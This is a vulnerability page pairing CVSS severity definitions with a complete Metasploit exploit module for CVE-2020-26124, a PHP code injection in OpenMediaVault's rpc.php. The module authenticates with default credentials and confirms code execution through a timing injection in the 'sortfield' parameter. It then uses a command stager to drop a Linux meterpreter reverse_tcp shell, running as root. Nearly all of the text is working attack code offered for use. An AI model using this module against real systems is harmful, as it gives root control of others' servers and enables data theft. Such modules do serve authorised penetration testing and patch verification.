The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: OpenMediaVault rpc.php Authenticated PHP Code Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection',
'Description' => %q{
This module exploits an authenticated PHP code injection
vulnerability found in openmediavault versions before 4.1.36
and 5.x versions before 5.5.12 inclusive in the "sortfield"
POST parameter of the rpc.php page, because "json_encode_safe()"
is not used in config/databasebackend.inc.
Successful exploitation grants attackers the ability to execute
arbitrary commands on the underlying operating system as root.
},
'Author' => [
'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module
],
'References' => [
['CVE', '2020-26124'],
['URL', 'https://www.openmediavault.org/?p=2797']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => 'Sep 28 2020',
'Targets' =>
[
[
'Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']),
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
]
)
end
def user
datastore['USERNAME']
end
def pass
datastore['PASSWORD']
end
def login(user, pass, _opts = {})
print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...")
@uri = normalize_uri(target_uri.path, '/rpc.php')
res = send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
"service": 'Session',
"method": 'login',
"params": {
"username": user.to_s,
"password": pass.to_s
},
"options": nil
}.to_json
})
unless res
# We return nil here, as callers should handle this case
# specifically with their own unique error message.
return nil
end
if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first
@cookie = res.get_cookies
end
return res
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in login(), could not connect to the target.')
return nil
end
def get_target
print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")
res = send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'cookie' => @cookie.to_s,
'data' => {
"service": 'System',
"method": 'getInformation',
"params": nil,
"options": {
"updatelastaccess": false
}
}.to_json
})
version = res.body.scan(/"version\":\"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")
return nil
end
print_good("#{peer} - Identified OpenMediaVault version #{version}.")
version_gemmed = Gem::Version.new(version)
if version_gemmed < Gem::Version.new('3.0.1')
return version
elsif version_gemmed >= Gem::Version.new('4.0.0') && version_gemmed < Gem::Version.new('4.1.36')
return version
elsif version_gemmed >= Gem::Version.new('5.0.0') && version_gemmed < Gem::Version.new('5.5.12')
return version
else
return nil
end
return version
end
def execute_command(cmd, _opts = {})
send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'cookie' => @cookie.to_s,
'data' => {
"service": 'LogFile',
"method": 'getList',
"params": {
"id": 'apt_history',
"start": 0,
"limit": 50,
"sortfield": "'.exec(\"#{cmd}\").'",
"sortdir": 'DESC'
},
"options": nil
}.to_json
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')
end
def check
res = login(user, pass)
unless res
return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
end
if @cookie.nil?
return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
end
print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")
version = get_target
if version.nil?
# We don't print out an error message here as returning this will
# automatically cause Metasploit to print out an appropriate error message.
return CheckCode::Safe
end
delay = rand(7...15)
cmd = "\").usleep(#{delay}0000).(\""
print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")
t1 = Time.now.to_i
res = execute_command(cmd)
t2 = Time.now.to_i
unless res
print_error("#{peer} - Connection failed whilst trying to perform the code injection.")
return CheckCode::Detected
end
diff = t2 - t1
if diff >= 3
print_good("#{peer} - Response received after #{diff} seconds.")
return CheckCode::Vulnerable
end
print_error("#{peer} - Response wasn't received within the expected period of time.")
return CheckCode::Safe
rescue ::Rex::ConnectionError
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
return CheckCode::Unknown
end
def exploit
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
execute_cmdstager(linemax: 130_000)
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')
return false
end
end
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